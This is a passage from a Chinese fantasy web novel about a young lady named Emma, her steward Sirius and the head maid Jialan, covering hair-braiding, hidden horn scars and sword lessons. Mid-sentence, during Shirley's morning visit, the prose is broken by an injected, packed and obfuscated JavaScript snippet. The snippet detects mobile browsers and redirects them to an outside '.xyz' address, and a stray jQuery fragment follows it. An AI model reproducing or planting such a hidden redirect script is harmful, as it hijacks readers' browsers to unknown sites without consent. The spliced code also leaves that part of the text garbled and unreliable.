“我是个特例。杀都杀不死的怪物没那么多,很遗憾,我不认识其他同类。” 艾玛收住了话题,没有接着问。 西里斯说他的愿望是“死”。 他是认真的,艾玛不怀疑,但从未和他谈过这个话题。 她对人和人之间的距离有一种分寸和感知,这个问题在西里斯的安全线以外。 西里斯没有打算告诉她问题的答案,起码现在是如此。所以艾玛不会追问。 她把注意力放到西里斯的头发上,用梳子先一遍遍把它们梳顺。 这么近,在明亮的灯光下看,艾玛才能注意到一些平常没关注到的细节。 比如,西里斯的长发不是纯粹的暗红色,和艾玛在调色板上调过的暗红不同。 他的发色像暗红沾着层灰,并不使得颜色灰败,反而显出些透明。那些暗红里隐约掺着点青。像血管。 艾玛因为这个想法一愣。 西里斯束起头发时看不太出来,但发尾铺在床上时尤为明显,让人联想到鸟展开的翅膀,那些排列整齐地铺开的羽毛,一根根的羽枝。 不知道是不是因为这种突然的联想,艾玛觉得手里头发的触感都像羽毛了。 艾玛决定不想了。 艾玛把他耳边的头发梳过来,看到西里斯的耳垂。 西里斯平时不戴什么配饰,也不戴耳饰。 耳饰在人群中很流行,不论男女,都有很多人喜欢佩戴。 波克奈利王国有个小规矩,只有成年之后才能打耳洞。 在波克奈利,女性十六岁算作成年,男性则要十八岁才算。 艾玛记得嘉兰时常戴一对黑色的菱形耳钉,迪尔的耳饰经常被头发遮住,但总之是有戴的。 发小三个人里,只有年纪刚好卡在十七岁的凯还打不了耳洞。 凯愤愤戴耳夹替代。 嘉兰说,一般只有急着证明自己不是小鬼的小鬼会戴耳夹。 迪尔说,你是不是不敢打耳洞,也不用勉强。 凯很生气,但是听迪尔夸张地描述打耳洞如何的疼,遂暗自动摇——当然,他不承认。 总之耳夹后来没戴住,不知道掉哪儿了,而且这东西戴久了也疼。凯就把这事扔到了脑后。 雪莉是以后肯定要打耳洞的,她已经收藏了好些漂亮的耳饰。 莫妮卡还很犹豫,一是担心耳洞的伤口不好处理,一是觉得自己长得不好看,戴耳饰会不会被人议论。雪莉坚定地反驳了她的消极想象。 艾玛还没想好。 她的母亲以前打过耳洞,但因为没有多余的金钱,也没有打扮的心力,很久没有戴,后来耳洞堵上了。母亲说这样也好。 西里斯没有耳洞。 艾玛问过他,西里斯的回答是:他的耳洞一扎穿就会重新长上,如果要硬戴,会直接把耳饰的针绞断。 他得到了痛感,耳饰得到了报废。两败俱伤,不建议尝试。 艾玛认识的很多人都戴耳饰,它们确实非常漂亮。 她以前觉得,如果有经济条件,她应该也会为此去打耳洞吧。 但是她看着西里斯完好的耳垂,想起母亲长上的耳洞。不戴耳饰好像也是一种选择。 艾玛决定之后再想想。 要梳发根的话,最好能看见西里斯的头顶。 艾玛调整了一下姿势,挪了挪他的发尾,避免被自己的膝盖压着,然后挺直腰板,终于有了一个能勉强俯视西里斯的视野。 她从左边开始梳,梳齿才滑行了一点距离,就被什么绊了一跤。 艾玛梳的时候没敢用太大的力气,梳齿一顿就停下来。 总感觉梳齿刚才卡到了什么东西——发卡吗? 艾玛有点困惑。 可如果西里斯戴了发卡,他肯定刚才就摘下来了。 她伸手拨开那块位置的头发,摸索刚刚绊到的位置,想检查是不是真的有发卡。 得益于艾玛现在清晰的俯视视野,她很快找到了答案。不是发卡。 那是一块……疤。 像是偏细窄的树叶的形状,平时都掩在发丝下,不是近距离的俯视观察,很难看见。 “西里斯,”艾玛不知道怎么问,指尖抚过那个伤口,“你这里是……?” “啊……那是个旧伤。”西里斯说。 艾玛见过西里斯当着她的面划伤自己,愈合后的伤口没有留下任何痕迹,更别说疤痕。 “我以为……你受伤不会留疤的。” “这是很早以前的伤了。那时候,我还没有这样的自愈能力。” 这是什么的伤口? 艾玛想问,但是总觉得自己隐约已经有一种答案的预感。 她摸向他头顶的右边,和左边伤口相对的位置——有一个极其相似的,对称的伤疤。 是角。 西里斯的头顶曾有过一对角。 艾玛看不出那是对怎样的角。 那伤疤贴着他的头皮,薄得别人难以察觉它们的存在,无从得知它们曾经的形貌。 但艾玛自己也没控制住地脱口而出:“是翅膀吗?” 西里斯停顿了一下,平常地引开了话题重心:“伤口已经不会疼了,您不必在意。” 他不想回答。 艾玛听得出这层意思。 艾玛摸了摸那疤痕,用发丝盖过它们,再次梳的时候更加小心。 “你以前受伤还是会留疤的话,是不是身上还有其他伤痕?” 这算是转移话题了。 西里斯不介意回答这个问题:“有。” 似乎感觉到艾玛的视线顺着发丝滑下来,滑进他的领口,西里斯补充,希望打消她的好奇:“都是些普通的伤痕,没什么特别的。” “哦……”艾玛答应道,梳理完后放下梳子,一边捋着头发一边仗着西里斯背后不长眼睛,手指状似无意地一下一下隔着衣服划过他的脊背。 西里斯完全猜出了她的算盘:“摸不出来的。” 艾玛收手了。 艾玛准备的一堆鲜花、发饰最后只用上了一小部分。 完工后,西里斯对着镜子打量了自己的新造型:“很漂亮,谢谢您。” 从背后看还行,但西里斯转过身之后,对着那张她熟悉的脸,连艾玛也觉得自己扎的头发插的花绑的彩色发带别的宝石发卡好像似乎,可能大概也许应该,是有点,太花哨了。实在不是西里斯的风格。 艾玛有点心虚,又不好意思表现这种心虚:“那个……你今天晚上休息吗?呃,你要是要睡了的话我,我帮你拆掉……” “我今天不困。”西里斯微笑,“您用心做的设计,我会珍惜的。” 艾玛突然感觉事态有点严峻:“那你……明天就这么,出门?” “如果您这么希望的话,我会的。” “呃,不,我觉得好像有点……太花了。”艾玛终于承认,“要不我拆掉一些?” “今天已经不早了,不劳烦您再花心思。如果您不介意,我回去会修改一下的。” 西里斯想,大概改个百分之八十吧。 艾玛接受了这个提议。 西里斯帮她把杂物堆到桌上,确认艾玛没什么其他需要了才离开:“那么,晚安。” 艾玛照例是被雪莉叫醒的。 女孩步伐轻快地走到窗边,像报早的小鸟一样叽叽喳喳地催她起床,刷地拉开窗帘,早晨的阳光落到被褥上,艾玛睡眼朦胧地坐起身,花了半分钟在原地发呆。 雪莉收拾完窗户窗帘,给艾玛搬来今天的衣服。 没有别人在场,她就和衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915050|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服一起压到了艾玛的床上,双眼发亮地打探起最新消息来:“你昨天真的给西里斯先生扎头发啦?” 艾玛有点醒过来了。 在雪莉亮闪闪的目光里,她回忆起了昨天晚上的行动。 “是……”艾玛慢了半拍, “你看见了吗?” “我早上过来的时候碰到西里斯先生了,他的发型和平时不一样。但是不太像你扎的呀,太朴素了。” 练习的时候,雪莉和艾玛莫妮卡都互相扎过头发,很了解对方的风格。 艾玛听了倒放下心来,确定西里斯对她做的发型进行过后期加工了:“可能是装饰太多了,他拿掉了一部分吧。” 小孩花哨的审美对这种朴素反而感到一种可惜,雪莉露出了遗憾的表情: “我看到旁边桌上还留着好多,那些没用上吗?我还觉得那个绿宝石的发抓很合适……” 雪莉后面的叨叨艾玛没听进去,刚醒来的大脑昏昏沉沉,她盯着雪莉的角——那对白色的翅膀,在她的叨叨里随着情绪起伏扑腾着。 “雪莉,我可以摸摸你的角吗?”艾玛冷不丁地说。 “可以呀。”叨叨被打断,但雪莉没在意。 她对自己的角很骄傲,向来乐意向关系亲近的朋友展示。 她本来就趴在床上,低一低头就把脑袋送到了艾玛手边。 艾玛摸了摸她的角,感觉像抚摸一只血脉温热地跳动着的鸽子。 她想起西里斯头顶的疤痕,鬼使神差地,她低头,离雪莉更近了一点——翅膀根部是什么样的形状? 艾玛之前没注意过这个问题。 她看着雪莉的翅膀,想,它们根部断裂的形状,是像叶片轮廓一样的伤口吗? “诶!有点疼。”雪莉抱怨了一句。 “啊,抱歉。” 艾玛一愣,赶紧松开手。 因为刚刚想看翅膀的根部,她捏着翅膀的手用力了些。这感官出乎艾玛意料的敏锐。 雪莉对朋友向来是大大咧咧的,没在意艾玛为什么突然想摸她的角,也没在意她今天用的力气大了些。 因为靠得近,她也看见了艾玛披着的黑色长发:“艾玛,你的头发打结了。快点起来,我帮你梳梳。” “唔。”艾玛应道,手还挂在雪莉的头发上。 雪莉的发尾能模糊看出羽毛的形状,她们曾就此讨论过,雪莉认为也受了血脉的影响,但不明显,而且她自己又不怎么看得见。 白色的长发和羽毛在金色的阳光里微微发亮,触感很柔软。 艾玛想,西里斯的头发也意外地很软……但是比雪莉的要滑一些,摸起来很特别。 雪莉则笑起来:“你今天怎么了?是不是担心西里斯先生不喜欢你扎的发型?” 艾玛点头,虽然不完全是这个原因,但有这因素的影响。 艾玛看起来有点忧愁和沉重,把雪莉看乐了:“不会啦!我想。西里斯先生头上还留着一枝花呢,他平常不戴这些,突然戴了很显眼吧?谁路过都要看看,也没见他不高兴。” 昨天她加的装饰品实在太多了,艾玛茫然,不知道哪枝花被有幸留下了: “啊,是吗?什么花?” “应该是黄色的雀梅!嗯——这么想,不是很像你眼睛的颜色嘛!” 雪莉晃着脑袋笑了,轻快地说,“他肯定没生气吧。” 啊。艾玛想。她确实插过这么一枝花。 莫名其妙地,艾玛觉得心情变好了。 早上的阳光从走廊洒进房间,嘉兰敲了敲办公室敞在一边的门板,向房间里的人示意有访客。 西里斯道了声请进。 嘉兰进门,看着他,挑起了一边的眉毛:“怎么,换了新发型?” 西里斯说:“有事吗?” “我想过了,”嘉兰没在乎他直接跳了话题,也开门见山, “我答应你的提议,我会负责艾玛大人的骑射课程。” 西里斯惊讶地抬了抬眼:“突然想开了?” 嘉兰冷笑一声,笑容礼貌里带着狡黠:“我仔细想了想,你现在一时不会给她加课。即使我答应你的提议,也会等一段时间才需要兑现。 “但是,答应之后,你现在就能帮我处理工作。那么,越早答应对我来说越划算。” 西里斯有那么一瞬间真的在回忆,自己开给嘉兰的条件说的是这个意思? 但嘉兰显然没打算等西里斯回神,把手上抱着的一叠文件直接塞进了西里斯手里,转身走向门口,头也不回地背身向西里斯挥手告辞,用行动把她说的约定立刻变成了既成事实。 西里斯低头看了看手里凭空多出的工作,最上面那张纸仔细地列满了一条条嘉兰今天本应要做的工作和注意事项。 还是早点把她的课排上吧。 西里斯看着那叠文件想。 17.重新认识 西里斯虽然有给嘉兰早点排课的意向,但直到秋天的时候才真正实行。 城堡的庭院进行了大翻修,从布局到栽种的植物都改换了大半。开始动工的时候是春末,艾玛和朋友们不能去庭院玩了,在城里消磨了一整个夏天的空闲。 工人们几乎把整个庭院的土都翻了一遍。凯那段时间时常猜测,他们能不能从院子里刨出被凶手偷偷埋下的人骨啊,某人偷偷藏匿的财宝啊。 迪尔说少看点悬疑故事省省你的心吧。 看多了恐怖故事的莫妮卡也时常担心,比如这么大动作会不会惊动沉眠在院子里的妖魔鬼怪,带来什么怨恨报应。 凯脑袋一拍就在夏天晚上办了个鬼故事大会,诚邀城堡里的其他佣人们前来参与,确有不少人闲得无聊过来听故事了。 西里斯同意了活动,并开放宴会厅的场地给他们使用,但自己没来参加,嘉兰为了管理秩序过来坐了个场。 大半年没再办过什么活动的宴会厅第一次这么热闹。蜡烛有失安全,大家拿着统一发放的魔法灯具照明提供气氛。 虽然佣人里识字的有限,但口耳相传的民间故事人人都在不同来历听过不少。一开始还有人喝茶聊天吃零食,故事讲着讲着却越来越安静了。 作为发起主办人的凯一边强自镇定,一边身体很诚实地开始往嘉兰的方向缩。嘉兰嫌弃地看看他,开始讲自己的鬼故事,讲到一半凯就弹向了另一个方向的迪尔。 口才向来不负众望的迪尔更是了不得,把血淋淋的场景描述得绘声绘色,场地气温当时再下一半,凯扯着嘉兰的袖子瑟瑟发抖。 雪莉有一半时间都抱着艾玛的手臂,脸色发白,讲到恐怖处会往艾玛旁边再缩一缩。 莫妮卡倒是在神鬼之说上出人意料的平静。她明明胆小,恐怖故事却从来看得不少,端的是个中行家。 当着那么多人的面讲故事让她有点紧张,但好在都是熟人,氛围不错,她讲述时微微的颤音,和看起来仿佛被鬼魂附身一般的夹杂幽怨的平静,让人冷汗直冒,效果极佳。 西里斯虽然觉得大概不会,但总之还是按照常理过来担心了一下艾玛会不会被吓得睡不着。 果不其然,艾玛不仅没被吓到,还因为听了一晚上故事很开心,问西里斯下次还能不能办。 西里斯回想了一下散场时他过来看到的佣人们的脸色,说下次如果还能叫到人,当然可以。 佣人们对于西里斯没来参加鬼故事大会是很理解的,他工作忙,性格又稳重,不参与这种幼稚的活动很正常嘛! 但也有不少人暗自猜测他是不是实际有那种害怕鬼故事的反差。 艾玛对他不来参加也是很理解的。西里斯不喜欢热闹,人多的场合没必要就懒得参加。鬼故事对他来说大概有点无聊,毕竟西里斯能够听见真正的鬼魂的声音。 虽然每次艾玛问起他鬼魂们在说什么,西里斯都说当时听不到。但那毕竟是西里斯,艾玛相信他不会说没必要的谎。 或许是鬼魂们在说脏话,西里斯觉得不好转述吧。 艾玛深以为然,觉得这是可能性之一。既然鬼魂诞生于不甘死去的执念,想骂人也是可以理解的。 从城主代理接过了主要的城市管理工作后,西里斯清闲了不少,但实际也只是回归到了城堡管家的正常工作量。西里斯能看起来那么闲,实在是因为他的工作效率高到离谱。 事实上,像西里斯之前那样既要维持城堡日常运转,还要处理各种城中事务和应酬手续,工作量恐怖得惊人,正常人根本无法负荷,即使是西里斯也用魔法帮了点忙,才勉强应付过来。 魔法的痕迹能显现在细节上,像嘉兰这样有心盯着他的,什么时候发现了都不奇怪。 因此嘉兰把自己的工作甩给西里斯前,就认为他能处理好。除了实在太忙,有人分担能够省力之外,嘉兰也就是想找西里斯的不痛快。 但她不是真想看到西里斯被工作累死或者事情崩溃,更不希望自己在城堡里的影响被西里斯彻底取代,能自己处理的工作仍然不会劳烦他。 好强得倒是让人省心。西里斯想。 艾玛欠缺的基础课程知识太多,适应教学内容和节奏花了很多时间。 正好嘉兰也需要时间调整两边事务的平衡,到秋天的时候,她们都做好了准备,庭院也正式完了工,加新课这事才正式提上日程。 嘉兰真正决定要做的事,都会认真地负责和规划,她答应教艾玛骑射当然不是一时脑热。 在“备课”时,嘉兰根据自己的经验思索一番,提出“希望先增加艾玛的剑术课”。 她最擅长剑术,从这里开始教授,对她比较容易上手。且剑术的锻炼方向更全面,她认为更适合艾玛。 西里斯本来只指望她教艾玛点她感兴趣的,顺便锻炼体力,但嘉兰的责任心超出预想,主动把课程扩充成了更全面的体育课。 他没什么意见,询问了艾玛,艾玛也接受了。 西里斯早早跟艾玛提过让嘉兰教她的事,艾玛答应了。 就像相处时间长一些之后,雪莉和莫妮卡认识到,西里斯平常没什么表情不是对任何人有意见,只是他性格就这样。艾玛对嘉兰的印象也早已更新。 作为领主城堡的女仆长,嘉兰平时的表现有着与这份职位相称的稳重,也只有这样才压得住城堡里的其他佣人。 佣人们提起她时,口吻都是赞美与钦佩的,有时还带着点遗憾的声音。 艾玛向她的发小们问起她时,平时多话的凯一反常态地拧着眉毛抿着嘴,嘀嘀咕咕欲言又止,最后扯个借口跑了。 而迪尔仍然坐在一边折纸,拿剪刀给纸折的小动物剪耳朵,语气平常:“他没事。凯和嘉兰更熟一点,感情更深,他又是那种性子。就是心疼了。” 嘉兰的故事不是秘密,甚至不算复杂,迪尔三言两语就讲完了。 八岁失去父亲,留下因为长期进行缝纫工作落下眼疾的母亲,和两个还在学说话的妹妹,年纪轻轻就支撑起了整个家庭。天资有目共睹,偏偏这个国家历来就有着“女人不能成为骑士”的法律。 许多人都为她感到可惜,但可惜的话说出口,总会变成显而易见的同情。 嘉兰不需要被别人同情。 艾玛能感觉到嘉兰对自己的一种隐晦的在意。 最早她以为那是敌意,敌意会引起冲突,艾玛习惯避开冲突,就像从前为使自己免于伤害,而无数次选择不去思考,选择沉默。 但艾玛知道,她想要做到的事情不止于此。 她已经拥有与从前不同的环境,可以有更多冒险的底气。 她跟嘉兰同处一片屋檐下,有太多交道不得不打,没有和平逃避的安全选项。 嘉兰很优秀,但和艾玛以前认识的优秀的女孩有所不同,她不熟悉这种陌生的类型。 这是近在眼前的,做出改变的机会。 艾玛想直面嘉兰的目光,去理解那打量背后的含义。 无论再听多少别人的评价,评价里也不能还原出一个真实的她。 艾玛想用自己的眼睛去看,用自己的心去听:嘉兰到底是个怎样的人? 决心是决心,行动是行动。 艾玛虽然已经拿出了超越自我的勇气,但实际面对嘉兰的时候,还是有一点微妙的僵硬和紧张。 和人发生冲突会降低别人对自己的评价,会被人讨厌,被人讨厌会增加自己受到伤害的风险,艾玛脑内有这一整条自动运转的自我防护链条。 在明知对方可能不太喜欢自己的前提下,和对方接触很容易被更加讨厌。 要是以前的艾玛,绝对不会冒着这种风险去尝试。能躲开就躲开,能闭嘴就绝不说话。 艾玛悄悄给自己打气:总之,自己先不要抱着过往的情绪跟她交流,不要畏缩,不要一反常态太活泼。 平常心!艾玛擅长平常心,很快找到了自己的稳定状态。 不过,意料之外,嘉兰也有点紧张,看起来反而比艾玛紧张得更明显。 很显然,她从来没有这么正式地教过别人剑术。 庭院完工后在角落专门划了块区域给艾玛当训练场,立着剑术练习用的稻草人和木桩。 嘉兰就在那里给她上课。 凯一听,这等好事,就算课程时间跟他工作时间撞了也值得他翘班跑来在最前线围观。 嘉兰上的第一堂课做的第一件事就是把脸上写着“嘉兰教人好新奇”的凯踹走。 谢谢舍己为人的凯,把他踹走之后艾玛和嘉兰反倒都没那么紧张了,气氛缓和了不少。 嘉兰咳了一声,把话题从凯身上自然地过渡到了她们的课程计划,并问问艾玛的训练目标。 艾玛当然也不指望自己能就此练成剑术大师、神射手或者驯兽高手,目标就是先学会基础,其他再看。 艾玛有点忐忑,担心自己的回答太过模糊,不符合嘉兰那种利落的性格。 嘉兰倒很自然地认同了她的目标,没提出任何意见。 她认为艾玛现在对这些技艺都完全不了解,要是盲目定下太高的目标才让人头疼,等有一定的了解之后,自然会产生更明确的标准。目前只追求掌握基础还挺踏实的。 嘉兰的剑术课的第一步,是单纯的体力训练。例如举重、蹲起、跑步等,枯燥又累人。 艾玛从前要做很多体力活,体质原本就不差,只是最近确实疏于体力运动,训练内容也不轻松,一时间真有点累到了。 但嘉兰对她的预计是对娇生惯养的贵族小姐的体力预计,用这个标准来看,艾玛还超出她的想象许多,最后根据艾玛的反应及时叫了停休息。 雪莉在休息时间积极主动地过来送水送食物,并且围观了课程一会儿。 除了职务之需和体贴自己的小姐妹,也能从她望向嘉兰的闪闪发亮的眼神里看出私心。 雪莉很佩服嘉兰,艾玛是知道这事的。 她觉得嘉兰非常潇洒帅气,是她憧憬的榜样,立志向人学习。但暂时还学不来嘉兰的工作能力和处事态度,就先从打扮 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还好,没在草地上碰到什么尖锐的石子,长袖衬衫蹭到了土,但保护她的手臂免于擦伤。 但是再往下,嘉兰检查她的脚踝,艾玛倒吸了一口凉气。 嘉兰皱着眉,给出结论:“扭到了。” 做过热身,完成了全部训练,正要回去,却在训练刚结束的时候扭到了脚。 一时两人都有点无言。 艾玛讪讪地正在想该怎么道歉,却看见嘉兰叹了口气,把手中的东西放进她怀里,给她披上外套,然后放低身体重心,将坐在草地上的艾玛直接横抱起来。 嘉兰的手臂很稳,抱着艾玛,走得并不吃力。 走出几步后,她才低声开口:“抱歉。” 艾玛眨眨眼睛。 “这是我的失职。没能顾忌到您的体力情况,是我考虑不周。我会调整之后的训练安排。” “啊,不,是我……我也有问题,刚刚练完心里一松,就太随意了。呃,你不用太自责的……我下次一定会注意。” “感谢您的宽容。”嘉兰的措辞礼貌而疏离,但与平时不同,她仍然微微皱着眉。 放在之前,艾玛会觉得她其实生气了。 但今天有点不一样,她仔细回忆了一下,从摔倒那时候看见的嘉兰的眼神里,读出一种熟悉的感觉。 自嘉兰和西里斯谈过话之后,她看艾玛的眼神就比之前缓和了一些。 艾玛当时认为那眼神是对她危险性的评估,暗藏的是警惕的含义。 直到刚才,她在嘉兰眼里看到与当时相似的情绪,艾玛好像悟了。 嘉兰看她的眼神,是那种对在悬崖边玩耍的小孩的忧虑。她的危险性评估和警惕,都是针对西里斯的。 在嘉兰眼里,西里斯才是那个神秘阴毒的危险分子,而艾玛只是个年幼柔弱的无辜小孩,极有可能是被前者蒙骗乃至利用残害。 所以在她降低了对西里斯的危险程度评级之后,相应地对艾玛的安全程度评级反而提高了。 因为从没和嘉兰这样的人打过交道,艾玛不知道她的思维回路,直到此时福至心灵,仿佛突然理解了一切,一时感到大脑发着光在茫茫宇宙里漂浮。 西里斯……还是稍微在乎一下他在嘉兰心里的形象比较好吧? 艾玛恍惚地想。 艾玛在嘉兰的怀抱里思维漂浮了一阵子,回过神,仍然躺在她有力的臂弯里,贴着她的胸膛,突然觉得今天一直微妙局促的心定了下来。 嘉兰的眼睛是清亮的杏色。艾玛第一次看清楚。 好一会儿,艾玛说:“谢谢你。” 嘉兰的目光顿了顿,很淡地扫了她一眼,又将目光移开了。 夕阳的橙色落到她身上,似乎显得少女锐利的眼尾柔和不少。 艾玛想,好像难得有这样跟她说话的机会,大起胆子试着从自己好奇的话题切入:“那个——你的裙子,就是,女仆装……对吧?感觉,裁剪好特别,而且布料很好,摸起来很舒服。” “谢谢您的赞美。我的母亲是裁缝,我懂的针线活计稍微多一些,对制服进行了一点更方便活动的修改。布料……就是普通的棉布。” “哦,好厉害!”艾玛感叹。 嘉兰作为女仆长,服装可以比其他女佣显眼,但她只是做了些低调的改动,不过细节里仍能看出设计人的品味和巧思。 艾玛觉得这种简洁但有效的改动很有本事。 嘉兰虽然觉得衣服的材质普通,但领主城堡的用度规格本就偏高。 从前在当奴隶的时期,艾玛的衣料都很差,习惯了那种评价标准。成为领主后虽然接触过一些精细高级的料子,但评价标准还没来得及变化。 养尊处优的贵族小姐,真会觉得这种普通的棉布材质好吗? 嘉兰有些困惑,但这念头也只是闪现了一瞬间。 可能只是顺势客气一下吧。她想道。 18.幸运 脚踝的扭伤并不严重,西里斯给她调配了外敷的药膏,艾玛休养了三天就恢复如初。 嘉兰认为是自己的责任,但西里斯也没有多责备她,他相信这是“无心之失”。 他的笃定让嘉兰疑心西里斯是不是用了什么监视的法术,她对巫师的手段了解实在有限,但当时在艾玛面前,最后也没做追问。 这三天并不难熬,反而很快乐。 迪尔听说艾玛脚踝扭伤,这几天不太方便走动之后,和凯一番讨论,说干就干,从仓库里找出不用的推车,和一把闲置的椅子结合,三下五除二地把它们改造成了一把简易轮椅推车。 因为是给艾玛坐的轮椅,所以特获在城堡走廊横冲直撞的权力。 城堡有些地域没铺地毯,地砖光滑,在上面推车手感很好,平时又没这样的机会,两个男孩几乎是抢着推。看他们玩得这么开心,雪莉也有点好奇,连莫妮卡都产生了一些心动。 一把轮椅推车玩不了赛车,他们干脆又做了一把,已经完全偏离了初衷。 艾玛坐推车坐累了,就在旁边看他们跑,轮子在地砖上咔哒咔哒地响。 西里斯没制止,随他们开心,但嘉兰看着地砖直皱眉。 迪尔问嘉兰要不要跟他比一场,看谁推得快。嘉兰看得心烦,决定活动下身体也行,但是别让她推凯,否则推到一半她没准上火把这傻子撅下去。 艾玛这三天取消的体育课是在飞驰来去的轮椅推车上度过的,虽然她没有得到锻炼,但确实地锻炼了他人。 恢复正常的体育课之后,嘉兰吸取教训,减少了枯燥的体力锻炼量,且艾玛的体力比她想象里要好,可以算提前达标。 剑术基础的练习不算有趣,是另一种形式的枯燥。 嘉兰给她准备了把木剑,让艾玛握剑反复练习一些基础动作,期间对艾玛不断进行姿势矫正。要保持足够标准的姿势实在累人。 艾玛跟嘉兰的熟悉度渐渐提高。 中途休息时,嘉兰偶尔会提些自己的事。比如她小时候刚开始练剑遇到的挫折,如何克服它们。 她的剑术基础是父亲教授的,但父亲长期不在家,只靠她自己反复练习。 后来,父亲有位好友从骑兵营中因伤退役,一时没个着落,在父亲的热情邀请之下,到她家住了一段时间。 也是那时候,那位退役的骑兵发现了嘉兰的天赋,并教授了她更多骑士的战斗技巧。 后来,她进入城堡工作,领主道恩给了她去骑兵营学习的机会,她便时常从工作里抽出空跑去。 整个家庭要靠嘉兰的收入养家,普通女佣的工资仍然不足够,道恩先生也默许她在城中找其他兼职,甚至提供了些门路。 嘉兰在那段时间学到了很多,甚至扩展了不少人脉。 有时,她服侍的德尔薇小姐也会跟她一起去骑兵营,或者去她兼职的地方,就在一边看看,或者在那儿看书。 德尔薇说是不想学习,想出门走走,大约有五成的真心,但嘉兰知道,她有不少时候是为了嘉兰能有时间去其他地方,找借口帮她推掉工作陪她去的。 德尔薇不懂剑术,她的兴趣在美术上,偏科极重,有贵族出身的任性,平时性情内敛,甚至有点忧郁。 但她从来没有认为,因为不能成为骑士,嘉兰所做的这一切就是无用功。 跟嘉兰有没有才能无关,德尔薇只是知道她热衷于此,而做着自己喜爱的事的嘉兰闪闪发光,她很高兴。 艾玛曾听过无数次的前领主,布雷德尔·戴斯在嘉兰的故事里也有出现,只是从另一个角度展现的另一种面貌。 嘉兰虽然冷酷地评价他,在作为领主的才能上完全是个自私而无能的废物,但从私人角度,她觉得戴斯就是个完全没成熟的愚蠢小孩。 沉迷享乐、贪心不足,好玩又好面子。心不算坏,不苛待下人,对妹妹也不错。 嘉兰厌烦他,但又不能真的讨厌他。 母亲早逝,父亲忙于工作,对兄妹俩都缺乏感情照拂,是半放养式教育。所以戴斯傲慢任性,德尔薇敏感少言。 道恩先生对他们有亏欠,但急病来得突然,葬礼也突然,他甚至没给兄妹留下什么话。 嘉兰知道,她是不会越过布雷德尔去实现自己的野心或抱负的。 她不屑于父亲的忠诚论,也并不自认为一个骑士。但她做不到从有恩于自己,如同家人的布雷德尔手中抢夺权力。 嘉兰其实能够想象,就算她当时狠下心,和布雷德尔兄妹发生冲突,得到改变什么的机会,她能够比那对兄妹做得更好,但她能做到的或许也没有自己以为的那么多。 只是嘉兰痛恨那个仅仅抱持着卑劣想法停在原地,哪种选择都做得不彻底的自己。 西里斯说她还是个小孩。 嘉兰不愿意承认,但她有时也自嘲地想,自己才更加明白,她远没有自己理想的强大,无论能力还是心。 这些过去,她只跟艾玛提过很小一部分。 嘉兰不喜欢谈自己的事,但艾玛是个很好的倾听者,她有时愿意多说一些。 也或许因为有两个妹妹,她对年纪小的女孩比较温柔。她的妹妹们和艾玛年龄相仿,但是比她吵闹多了。 艾玛没见过那两个女孩,虽然嘉兰后来陪她去城里闲逛过,但避开了她家的范围。嘉兰有一定的领地意识,会拒绝别人随意介入自己的私人生活。 嘉兰的本性很直率,用西里斯的话说,“年轻气盛”,整个人锐利得像柄开了刃的刀。 平时她有意收敛自己的锋芒,以便更圆滑地待人处事,才显出旁人眼里的稳重。但她的思考和行事方式仍然直来直去,带有她性格里伴随的尖锐与攻击性。 在某些时刻,那些锋芒还是会不经意显露,让人感到不适甚至恐惧。 但艾玛现在知道了她表情背后的含义,视角也就和当初截然不同了。 同样一份“担心”的感情,如果是雪莉,会把担忧写在脸上,会直白地用语言表达关切;莫妮卡可能不会直接问发生了什么,但会小心翼翼地通过行动上的关照表示安慰; 而嘉兰会先保持观察和沉默,根据观察结果再决定自己的处理方式。在她行动之前,不熟悉的人很难从她的表情里看出她的想法。 不同的人表达同一种感情的方式是不同的。 看待角度和当事人性格经历的不同,又决定了他们会对同一个状况有不同的处理方式。 艾玛过去习惯凭借情感和直觉上的喜恶来判断是否要接近或远离某个人,她开始意识到,自己的见识仍然太浅薄,认识的人的类型也远远不够多。 进入不同的圈层之后,她和接触到的人的生活经历产生重叠的可能性就会更小。 人类由他们的经历所铸就。因为未曾体验过他们的经历,也就更难理解对方的思考和行为。 如果囿于过往经验,止步在原地 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老板娘跟嘉兰寒暄了几句,问起嘉兰的现状,又问起嘉兰的母亲,频频叹息:“唉……谁也没想到,突然就发生那样的事……你们也真是不容易……” 她絮絮叨叨地讲了些往事,提到不少嘉兰家里的细节。 艾玛就站在铺子一边看台子上五颜六色的布料,那些谈话声不可避免地进了她的耳朵。 听老板娘说到嘉兰的不容易时,她忍不住悄悄抬眼去看嘉兰的表情。 嘉兰保持着温和的微笑,耐心地听着老板娘说,配上几句附和和安慰。 老板娘说到后来抹了抹眼泪,但这时有客人来了,嘉兰主动提出了告辞,老板娘执意送了她几匹布才肯让她走。 艾玛牵着嘉兰的手,回去路上有一半时间都没说话。 嘉兰问她:“怎么了吗?” “啊,我是想……你可能现在心情不好。” 艾玛能理解面对别人的好意不好拒绝的心情,她担心老板娘那些有点戳人伤疤的同情在嘉兰听来有些刺耳,“我记得,你不喜欢别人提自己的家事。” “都是发生过的事实,只要想了解,随便问一问都能知道。提的人多了,就习惯了。”嘉兰回忆着,笑了笑, “我小时候很讨厌别人说这些,讨厌别人可怜我,试图向他们证明自己没那么脆弱。但后来就想开了。听到那些经历,会觉得我不幸是人之常情。别人同情我,是因为他们自己的好心,而不是我真的就有他们认为的那么悲惨。” “我不主动提这些事,因为不想让人听了可怜我。我从来不觉得自己可怜。我经历的挫折或许多了些,但我也遇到了很多好人。不如说,我觉得自己其实很幸运。” 嘉兰的目光柔和,这些话发自内心。 艾玛心里一动,懵懵懂懂地看着她一会儿,又低下头,去合她的步调。 嘉兰说的话,她好像能理解,甚至有一些共鸣,但她远没有嘉兰的坚定和底气。 艾玛有点羡慕这种地方。 但她想,嘉兰真的是个很厉害的人,大概比她自己以为的要厉害。 她身上有很多地方值得学习,没有因为胆怯和初印象错过和她接触的机会真是太好了。 艾玛想,能跟嘉兰成为朋友真是太好了。 应该是朋友吧?艾玛想到这里,沉默了一下。 19.神射手 费拉约尔斯的城市边缘是茫茫黄沙。 